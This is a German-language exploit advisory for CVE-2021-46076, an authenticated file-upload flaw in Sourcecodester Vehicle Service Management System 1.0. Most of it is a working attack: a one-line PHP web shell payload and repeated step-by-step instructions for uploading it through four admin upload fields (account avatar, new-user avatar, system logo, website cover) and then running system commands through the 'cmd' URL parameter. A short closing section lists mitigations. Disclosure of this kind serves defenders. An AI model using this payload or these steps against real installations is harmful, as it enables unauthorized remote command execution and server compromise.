CVE-2021-46076
Exploit-Titel: Vehicle Service Management System - 'Mehrfacher' Datei-Upload führt zu Code-Ausführung
CVE: CVE-2021-46076
CVSS: 8.8 HOCH
Referenzen:
Beschreibung:
Sourcecodester Vehicle Service Management System 1.0 ist anfällig für Datei-Upload. Ein Angreifer kann an mehreren Endpunkten eine schädliche PHP-Datei hochladen, was zu Code-Ausführung führt.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Abschnitt „My Account": http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code z. B. als Cmd.php
- Geben Sie im Abschnitt „My Account" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
- Klicken Sie auf die Schaltfläche „Update".
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
- Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Abschnitt „User List" und klicken Sie auf die Schaltfläche „Create New".
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code z. B. als Cmd.php
- Geben Sie auf der Seite „Create New User" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
- Klicken Sie auf die Schaltfläche „Save".
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
- Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Abschnitt „Settings": http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code z. B. als Cmd.php
- Geben Sie im Abschnitt „Settings" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „System Logo" aus.
- Klicken Sie auf die Schaltfläche „Update".
- Öffnen Sie das System-Logo-Bild in einem neuen Tab.
- Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
- Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Abschnitt „Settings": http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code z. B. als Cmd.php
- Geben Sie im Abschnitt „Settings" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Website Cover" aus.
- Klicken Sie auf die Schaltfläche „Update".
- Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
- Fügen Sie den Parameter cmd in die URL ein und führen Sie die Befehle aus.
- Endgültige URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B.: id, whoami, pwd usw.
Auswirkungen:
Ein Angreifer kann an mehreren Endpunkten eine schädliche PHP-Datei hochladen, was zu Code-Ausführung führt.
Gegenmaßnahmen:
Es wird empfohlen, Folgendes umzusetzen:
- Akzeptieren Sie einen Dateinamen und dessen Erweiterung niemals direkt ohne einen Whitelist-Filter.
- Falls keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
- Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
- Das Upload-Verzeichnis sollte keinerlei „Ausführen"-Berechtigung besitzen.
- Verlassen Sie sich nicht ausschließlich auf clientseitige Validierung.